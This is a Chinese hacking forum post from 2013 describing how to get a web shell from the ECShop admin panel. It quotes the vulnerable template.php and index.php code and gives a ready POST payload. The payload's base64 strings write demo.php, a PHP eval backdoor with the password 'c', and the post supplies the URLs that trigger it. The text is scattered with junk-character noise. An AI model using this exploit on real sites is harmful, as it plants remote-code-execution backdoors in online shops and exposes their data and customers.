找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2537|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板- P  F/ P3 S! x: M5 n7 p% t& K

$ R# p4 x1 ]! J. @而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了/ i+ ~6 V  i+ G# e  H$ o
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码/ {, J7 y2 |+ t  H. S3 ]
admin/template.php
& C$ Y4 u0 P/ `! f
  `7 r# U2 l+ N& F) o% D# i/ S1 if ($_REQUEST['act'] == 'update_library') " n- d& |6 `8 H5 G/ V
9 L8 D6 R, I- P& G8 n& q5 T8 T
2   
; \2 \, I# l$ f2 V9 B: E, F9 c( P/ {0 U& G+ n
3 {
* B* Q( |0 |( u  o& P/ z: W. t2 n! @) i3 o; O
4     check_authz_json('library_manage'); 8 }2 R9 m7 f/ m) Z
; t* m0 K2 k9 S+ m# Y
5   
9 g5 F( ^+ P5 f9 P3 ^1 j; u2 Q, c5 p0 R
6     $html = stripslashes(json_str_iconv($_POST['html'])); 9 l' y0 T& t5 ~# c- E- x; U# Y- w
) I4 x9 e1 a1 j# A. H7 C! F9 G3 F
7   ( F1 v7 Z# R; H! C8 y* t( @( b' r

# _8 K; O6 g& z* t2 j* x0 ^, H7 U( c8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
$ M$ k9 _% U$ p2 f% _9 q" H, p6 r* W. C1 }, h
9   
* N4 R' u# o( X7 K
- Z7 n% I6 e8 x- S: y: v10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 / P  b. p4 e# L% g' l
! D5 ?( l6 x, s1 G  M6 e$ A
11   
" |% [# n( Z, g" L: D$ n9 C" n" e1 C; d. H: }6 x9 B
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 3 V, `3 V% X$ k
$ o, a1 Q2 B9 C. B1 G/ [
13   
: P8 N5 e4 C0 H+ e
0 w- `2 K2 a; S& d( T$ g14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
, D: @- \0 Z% n$ ]
9 V* E+ x% E7 D) B# l15     { . N! v% `) B6 S( a5 _

4 o( s6 g7 `7 c# h7 R+ D! }9 |16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 3 x, F% R7 F, @6 ^( ]2 u. z  \2 ~

7 C# Y# l5 @3 K! ?, ?7 X17         make_json_result('', $_LANG['update_lib_success']); , k3 }% [* g, S+ i1 L/ ~+ D3 Y
8 H2 j  ^0 @0 [) |7 u5 y
18     }
6 @& j5 `5 w8 W2 f
2 J4 t3 w+ _! q19     else
# [7 {" s0 u  j/ {" Z$ l6 Z$ ^' F5 X, V0 ]5 D9 S" a& u
20     { ( F& Z5 G9 d+ l% M, g) n* K5 i
" h* S& r- S0 ^, Y/ p8 \
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
. [  I, k2 ^9 Z, }8 Z. B, y2 R) }) h2 b* f6 Z
22     } 9 D* l, P; T3 f: Q7 c
( T: z" V7 S( J3 v
23 }
1 q+ q7 B& ?9 p0 s6 v! S% n- p2 \0 Z* B; w! C! t5 F
那么找个比较方便调用了模板的文件/ r4 Y7 H4 D3 a% b
index.php
% O# y) G1 P$ Q1 O4 U# j6 V% h. ?7 f9 O3 V6 ?
1 if ($act == 'cat_rec')
, |4 Q' l4 o7 M1 \2 z8 V# n3 L5 _3 t! K0 G  v
2   
, S' R9 ^1 T# l5 h# K: ~" I# k3 j0 o5 }: _$ T
3 {
9 p# w" d4 n0 E
0 s% H. y5 b! f2 {4   ' ?; ~) N( Q# ?1 e
: y3 B7 P0 C, @. U$ q
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ( S& I6 B: {# l5 ]/ C( M

! a( N: n9 {! e6   
: m5 z4 o7 Q3 D1 O; T( n; V# Q' E
, B) Y( e4 _: F' k( H7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; $ F) I, t; V: e1 e) A
; M3 o! K! D) ]4 j4 x( I7 D1 ^  u
8   ' W8 H6 z7 }* o; f! w" @
6 B% r, [" |" ]- s
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
& ?5 k5 r9 V) Q# t4 c8 q( n, V( l  j" e; H% s' f% D5 S
10   
6 v2 m0 S% }& H: e4 `
: R( |3 _$ K- I. }. ?5 f11     include_once('includes/cls_json.php'); 4 z+ B/ a+ k# |2 V1 p+ s$ F
" p/ ?& n8 l4 ~6 I4 A" r
12   
5 k  b3 O/ D$ I9 c* c, z' k, \* D0 R, w5 E
13     $json = new JSON; 0 v. x3 S2 s$ P. X" X

5 p+ x. v: I3 N# t! N- _14   1 K. [/ |8 @& R5 P5 x
8 L5 G# t  N6 R3 M7 i
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 6 R% E* n$ b1 j/ z. ?  k, G# T

1 i4 ?9 ]! j0 M2 s7 ]/ e16   
- S" u+ Q2 p" g; q9 a' x2 c) m# e) v1 h# [" B9 z2 l5 k' o2 V. m
17     $children = get_children($cat_id);
  M! `2 K- K$ e- N+ l+ d4 g) e& b: q* L
18   
' h$ O8 s) n+ M5 d0 x4 g% a$ A* r2 b: R4 E! t, p$ X* A
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 " F4 H3 `* j" b

" g! X3 b+ L% F' d/ r20   + J) f+ T. \" A% |4 y2 M# M7 m
6 {# l0 g. }/ ^6 j3 _
21     $smarty->assign('cat_rec_sign', 1);
8 w+ ~% k/ K9 x' H: v
% t/ t( {6 i. j5 _22   ! v1 q" f4 ?' Z3 Q: i' L  y

" X. n; k! Y1 X6 M) E8 k23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ' N* u( M6 g4 t1 o( J

3 `5 R# K( z% k6 r24   
* x8 \1 u% v" K: I, K$ x$ q9 q& q; x. R$ G" y; y' Y2 h& K
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
9 m- m; G9 W7 I# ~
. q% E6 p/ M! O26   
) x& g& \( t+ Q" D4 ?: G* k
" J5 H1 O2 Q4 e1 A; }$ |27         echo $rec_array[$rec_type];   X1 \. u3 z6 z% @  N
6 _3 H8 A/ F, \% L0 f7 }
28   
3 o( X3 N# m% A* A
; X9 K' J+ P& H/ m29     die($json->encode($result)); ) m  \  L8 c7 B9 V; _

3 d5 O" x9 Y: ]5 m8 w8 }$ [30   
: L) j6 A$ t/ f
/ q' O: ?* O- R  `31 } " M+ B+ Q5 M# R

# D) D1 H; Y: \$ B那么就有利用方法了
! g" I. |1 V) k% S- t3 {+ e* S0 H; `post包到http://localhost/ec/admin/template.php?act=update_library7 B' K% u+ N6 p) L- C0 n; K2 K8 O
Post内容:
* K8 T- i7 n1 Y; g: n  B" {: h7 ]# U5 o) x

3 `. o5 ^2 z$ i# G8 ~1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 8 B5 P$ V: ?( y, ]% @' }7 s1 G
. W% C; G8 w* T7 [0 v7 C
然后访问http://localhost/ec/index.php?act=cat_rec
+ B/ _. ^/ S: ~/ I+ \/ ^" r, e: c5 {5 S* T3 e- e. z( }) E$ N
shel地址:http://localhost/ec/demo.php2 D' `! J! l/ W/ H: V) ]9 S( E
密码c; `5 |" a+ ~( `/ w! b5 a8 _; H6 \) q0 N
, z; x1 ~" ?6 Y0 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表